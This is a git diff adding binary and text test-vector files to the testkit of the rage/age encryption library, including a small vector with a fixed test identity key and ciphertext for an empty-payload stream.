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 CtBE)O literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/stream_empty_payload b/lib/rage/age/tests/testdata/testkit/stream_empty_payload new file mode 100644 index 0000000..6ec1c83 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stream_empty_payload @@ -0,0 +1,10 @@ +expect: success +payload: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- Vn+54jqiiUCE+WZcEVY3f1sqHjlu/z1LCQ/T7Xm7qI0 +îÏbÇΑ´3'NhÔòùL­.OÏ>RŠA0Þ«ïC6åU \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stream_last_chunk_empty b/lib/rage/age/tests/testdata/testkit/stream_last_chunk_empty new file mode 100644 index 0000000000000000000000000000000000000000..b3a2a64c7e71d9661ea078498d955e3ab46cf73c GIT binary patch literal 66052 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 